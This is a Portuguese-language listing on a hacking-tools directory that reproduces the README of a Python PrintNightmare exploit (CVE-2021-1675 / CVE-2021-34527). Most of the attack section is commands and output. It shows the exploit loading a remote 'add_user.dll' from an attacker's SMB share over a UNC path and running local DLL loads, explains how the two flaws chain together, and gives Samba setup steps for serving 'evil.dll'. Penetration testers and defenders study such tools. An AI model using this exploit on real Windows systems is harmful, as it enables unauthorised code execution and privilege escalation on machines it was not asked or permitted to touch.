Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
PrintNightmare — Implementação em Python para PrintNightmare (CVE-2021-1675 / CVE-2021-34527) | Kitploit
Ferramentas/GitHubGitHub/ly4k/printnightmare
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoTestes de PenetraçãoDesenvolvimento de Payloads
GitHubly4k/printnightmare

PrintNightmare

Implementação em Python para PrintNightmare (CVE-2021-1675 / CVE-2021-34527)

Ver Repositório
21333há 4 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

PrintNightmare

Implementação em Python para PrintNightmare (CVE-2021-1675 / CVE-2021-34527) usando o Impacket padrão.

Instalação

root@kitploit:~
$ pip3 install impacket

Uso

root@kitploit:~
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

usage: printnightmare.py [-h] [-debug] [-port [destination port]] [-target-ip ip address] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-dc-ip ip address]
                         [-name driver name] [-env driver name] [-path driver path] [-dll driver dll] [-check] [-list] [-delete]
                         target

PrintNightmare (CVE-2021-1675 / CVE-2021-34527)

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>

optional arguments:
  -h, --help            show this help message and exit
  -debug                Turn DEBUG output ON
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials
                        cannot be found, it will use the ones specified in the command line
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter

connection:
  -port [destination port]
                        Destination port to connect to MS-RPRN named pipe
  -target-ip ip address
                        IP Address of the target machine. If ommited it will use whatever was specified as target. This is useful when target is the
                        NetBIOS name and you cannot resolve it

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH

driver:
  -name driver name     Name for driver
  -env driver name      Environment for driver
  -path driver path     Driver path for driver
  -dll driver dll       Path to DLL

modes:
  -check                Check if target is vulnerable
  -list                 List existing printer drivers
  -delete               Deletes printer driver

Exemplos

Exploração

DLL remota
root@kitploit:~
$ ./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Enumerating printer drivers
[*] Driver name: 'Microsoft XPS Document Writer v5'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: '\\\\172.16.19.1\\smb\\add_user.dll'
[*] Copying over DLL
[*] Successfully copied over DLL
[*] Trying to load DLL
[*] Successfully loaded DLL
DLL local
root@kitploit:~
$ ./printnightmare.py -dll 'C:\Windows\System32\spool\drivers\x64\3\old\1\add_user.dll' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Enumerating printer drivers
[*] Driver name: 'Microsoft XPS Document Writer v5'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: 'C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\1\\add_user.dll'
[*] Loading DLL
[*] Successfully loaded DLL

Observe que o exemplo de DLL local não usa a CVE-2021-34527 para copiar a DLL.

Nome personalizado
root@kitploit:~
$ ./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' -name 'My Printer Driver' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Enumerating printer drivers
[*] Driver name: 'My Printer Driver'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: '\\\\172.16.19.1\\smb\\add_user.dll'
[*] Copying over DLL
[*] Successfully copied over DLL
[*] Trying to load DLL
[*] Successfully loaded DLL

$ ./printnightmare.py -list 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Enumerating printer drivers
Name:               Microsoft XPS Document Writer v4
Environment:        Windows x64
Driver path:        C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll
Data file:          C:\Windows\System32\DriverStore\FileRepository\prnms001.inf_amd64_f340cb58fcd23202\MXDW.gpd
Config file:        C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll
Version:            4
----------------------------------------------------------------
Name:               Microsoft Print To PDF
Environment:        Windows x64
Driver path:        C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll
Data file:          C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_80184dcbef6775bc\MPDW-PDC.xml
Config file:        C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll
Version:            4
----------------------------------------------------------------
Name:               My Printer Driver
Environment:        Windows x64
Driver path:        C:\Windows\system32\spool\DRIVERS\x64\3\UNIDRV.DLL
Data file:          C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll
Config file:        C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll
Version:            3
----------------------------------------------------------------
Name:               Microsoft Shared Fax Driver
Environment:        Windows x64
Driver path:        C:\Windows\system32\spool\DRIVERS\x64\3\FXSDRV.DLL
Data file:          C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL
Config file:        C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL
Version:            3
----------------------------------------------------------------
Name:               Microsoft enhanced Point and Print compatibility driver
Environment:        Windows x64
Driver path:        C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv.dll
Data file:          C:\Windows\system32\spool\DRIVERS\x64\3\unishare.gpd
Config file:        C:\Windows\system32\spool\DRIVERS\x64\3\PrintConfig.dll
Version:            3
----------------------------------------------------------------

Verificar se o alvo é vulnerável

Windows 10 sem correção
root@kitploit:~
$ ./printnightmare.py -check 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Target appears to be vulnerable!
Windows Server 2022 corrigido
root@kitploit:~
$ ./printnightmare.py -check 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[!] Target does not appear to be vulnerable

Listar drivers de impressora atuais

root@kitploit:~
$ ./printnightmare.py -list 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Enumerating printer drivers
Name:               Microsoft XPS Document Writer v4
Environment:        Windows x64
Driver path:        C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll
Data file:          C:\Windows\System32\DriverStore\FileRepository\prnms001.inf_amd64_8bc7809b71930efc\MXDW.gpd
Config file:        C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_c9865835eff4a608\Amd64\PrintConfig.dll
Version:            4
----------------------------------------------------------------
Name:               Microsoft Print To PDF
Environment:        Windows x64
Driver path:        C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll
Data file:          C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_6dc3549941ff1a57\MPDW-PDC.xml
Config file:        C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_c9865835eff4a608\Amd64\PrintConfig.dll
Version:            4
----------------------------------------------------------------
Name:               Microsoft enhanced Point and Print compatibility driver
Environment:        Windows x64
Driver path:        C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv.dll
Data file:          C:\Windows\system32\spool\DRIVERS\x64\3\unishare.gpd
Config file:        C:\Windows\system32\spool\DRIVERS\x64\3\PrintConfig.dll
Version:            3
----------------------------------------------------------------

Excluir driver de impressora

Pode exigir privilégios administrativos.

root@kitploit:~
$ ./printnightmare.py -delete -name 'Microsoft XPS Document Writer v5' 'administrator:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Deleted printer driver!

Detalhes

O PrintNightmare consiste em duas CVEs, CVE-2021-1675 / CVE-2021-34527.

CVE-2021-1675

Um usuário não administrador tem permissão para adicionar um novo driver de impressora. Essa vulnerabilidade foi corrigida permitindo apenas que administradores adicionem novos drivers de impressora. Uma versão corrigida do spooler de impressão retornará RPC_E_ACCESS_DENIED (Código: 0x8001011b) se um não administrador tentar adicionar um novo driver de impressora.

CVE-2021-34527

Ao adicionar um novo driver de impressora, o parâmetro pDataFile no DRIVER_CONTAINER permite caminhos UNC. A DLL especificada em pDataFile não será carregada, mas será copiada para um caminho local, permitindo criar um novo driver de impressora com o parâmetro pConfigFile apontando para o caminho local, o que carregará a DLL. Uma versão corrigida do spooler de impressão retornará ERROR_INVALID_PARAMETER (Código: 0x57)

Combinando as peças

Somente a CVE-2021-1675 é necessária se a DLL maliciosa já estiver localizada no alvo.

Para o PrintNightmare, se a DLL não for um caminho local, a CVE-2021-34527 pode ser usada para buscar a DLL por meio de caminhos UNC. Por esse motivo, é necessário servir a DLL via SMB. Se você não estiver familiarizado com SMB e UNC, leia a subseção a seguir.

Ao criar um novo driver de impressora, a DLL no parâmetro pDataFile não será carregada por motivos de segurança. No entanto, ela será copiada para C:\Windows\system32\spool\drivers\x64\3\. Então, poderíamos criar um novo driver de impressora que usa pConfigFile (que carregará a DLL) com o caminho local. Porém, a DLL está em uso pelo primeiro driver de impressora ao criar o segundo. Em vez disso, poderíamos sobrescrever o primeiro driver de impressora, o que fará com que as DLLs do driver sejam copiadas para C:\Windows\system32\spool\drivers\x64\3\old\<I>\, onde <I> é incrementado a cada DLL. Agora podemos criar um terceiro driver de impressora que usará o caminho local C:\Windows\system32\spool\drivers\x64\3\old\<I>\, já que a DLL não está mais em uso. Agora é só uma questão de adivinhar <I>, que começará a ser incrementado a partir de 1.

Observe que a DLL manterá seu nome de arquivo localmente. Portanto, se você inicialmente executar o exploit com foo.dll e ela for salva em C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll e depois você alterar o conteúdo de foo.dll localmente e executar o exploit novamente, agora ela será salva em C:\Windows\system32\spool\drivers\x64\3\old\5\foo.dll; nesse caso, a foo.dll original será usada, pois está localizada em C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll. Em vez disso, basta alterar o nome do arquivo se você mudar o conteúdo da DLL.

SMB e UNC

Em resumo, um caminho UNC é um caminho para um arquivo ou pasta em uma rede, em vez de um arquivo local, e contém o nome do servidor e o caminho. Por exemplo, o caminho UNC \\10.0.0.2\files\foo.txt refere-se a um arquivo foo.txt servido pelo compartilhamento files do servidor 10.0.0.2. Normalmente, um compartilhamento é servido via SMB, mas WebDAV também é suportado. Para criar um compartilhamento SMB no Linux, a maneira mais fácil e confiável é usar o pacote Samba.

Para instalar o Samba com apt:

root@kitploit:~
$ sudo apt install samba

Edite o /etc/samba/smb.conf e adicione o seguinte ao final do arquivo:

root@kitploit:~
[smb]
    comment = Samba
    path = /tmp/share
    guest ok = yes
    read only = yes
    browsable = yes
    force user = nobody

Isso criará um novo compartilhamento chamado smb e servirá os arquivos dentro de /tmp/share. Ele permite acesso anônimo, e o usuário local nobody será usado para navegar pelos arquivos.

Em seguida, inicie o serviço Samba executando:

root@kitploit:~
$ sudo service smbd start

Suponha que sua máquina Linux tenha o IP 192.168.1.100 e você queira servir o evil.dll; nesse cenário, o caminho UNC será \\192.168.1.100\smb\evil.dll.

Autores

  • @ly4k

Créditos

  • A implementação de @cube0x0
  • Impacket
Baixar ferramenta